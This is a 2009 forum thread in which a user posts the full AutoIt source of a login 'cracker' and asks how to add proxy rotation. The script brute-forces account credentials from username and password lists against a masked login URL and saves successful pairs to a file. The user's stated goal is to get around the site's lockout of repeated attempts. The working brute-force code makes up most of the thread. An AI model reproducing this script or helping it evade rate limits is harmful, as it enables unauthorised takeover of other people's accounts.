Error With My Scirpt Please Read!

[appie9294]

Hi when I Have This Program But I Want To Fix It with Ip Proxies If that Works...

And This Source Is Proxieless so when i run it and the websit blocks it u have to wait 6 mins.

anyone can help me?

Here Is The Source With the Problem Its A Cracker And I Want To Make It With IpProxies Anyone Help?

Source:

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****

#AutoIt3Wrapper_icon=orbz-air.ico

#AutoIt3Wrapper_UseAnsi=y

#AutoIt3Wrapper_Compression=4

#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****

#include <Array.au3>

#include <File.au3>

#include <INet.au3>

$oShell = ObjCreate("shell.application")

$num = $CmdLine[1]

Global $oHTTP = ObjCreate("winhttp.winhttprequest.5.1")

Local $usernames, $passwords, $proxies

_FileReadToArray(@ScriptDir & "/tempdir/usernames" & $num & ".txt", $usernames)

_FileReadToArray(@ScriptDir & "/passwords.txt", $passwords)

_ArrayDelete($usernames, 0)

_ArrayDelete($passwords, 0)

Print("Thread " & $num & " has started.")

Local $cUser = 0, $cPass = 0, $error = 0

While 1

If ProcessExists("Cracker.exe") = 0 Then

Exit

EndIf

If UBound($passwords) = $cPass Then

$cPass = 0

$cUser += 1

If UBound($usernames) = $cUser Then

ExitLoop

EndIf

EndIf

Switch CrackAccount($usernames[$cUser], $passwords[$cPass])

Case -1

Print("#" & $num & " An Unknown Error Occurred")

$Error += 1

If $error = 5 Then

Refresh()

$error = 0

EndIf

Case 0

Print("#" & $num & " Invalid - "&$usernames[$cUser]&":"&$passwords[$cPass])

$cPass += 1

Case 1

Print("#" & $num & " Crack - "&$usernames[$cUser]&":"&$passwords[$cPass])

FileWriteLine(@ScriptDir & "/Cracks.txt",$usernames[$cUser]&":"&$passwords[$cPass])

Refresh()

$cPass = 0

$cUser += 1

EndSwitch

WEnd

Print("Thread " & $num & " has finished cracking.")

Func CrackAccount($vUser, $vPass)

$source = _HTTPRequest($oHTTP, "POST", "https://XXX.XXX.XXX/login.ws", "username=" & $vUser & "&password=" & $vPass )

Select

Case StringInStr($source, "Invalid")

Return 0

Case StringInStr($source, "successful")

Return 1

Case Else

Return -1

EndSelect

EndFunc

Func Print($oData)

ConsoleWrite($oData & @CRLF)

EndFunc ;==>Print

Func _HTTPRequest($Wnd, $oMethod, $oURL, $oData = "")

$Wnd.Open($oMethod, $oURL, False)

If $oMethod = "POST" Then $Wnd.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")

$Wnd.Send($oData)

Return $Wnd.ResponseText

EndFunc

Func Refresh()

$oShell = ObjCreate("shell.application")

$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")

EndFunc

end Source

i am very new to this and i dont know how to fix it so it uses proxies...

so if anyone know's how to fix it please tell meh

AttachMents:

Cracker.au3

CrackThread.au3

[UFWU]

you wrote that code then below it you write im new to this well i have no clue what that was ment to do but im not testing hope someone can help u but u might need to add more to the description of this problem.

[appie9294]

you wrote that code then below it you write im new to this well i have no clue what that was ment to do but im not testing hope someone can help u but u might need to add more to the description of this problem.

i did i want help with proxies and its a proxyless cracker so..

i think that is enough information

Edited February 4, 2009 by appie9294

[UFWU]

i did i want help with proxies and its a proxyless cracker so..

i think that is enough information

lol ok i don't no enough about proxies let alone proxy script but i'm sure some1 on this forum does, uber l337 users should check the most recent topics and help:P

[appie9294]

BUMP

Edited February 4, 2009 by appie9294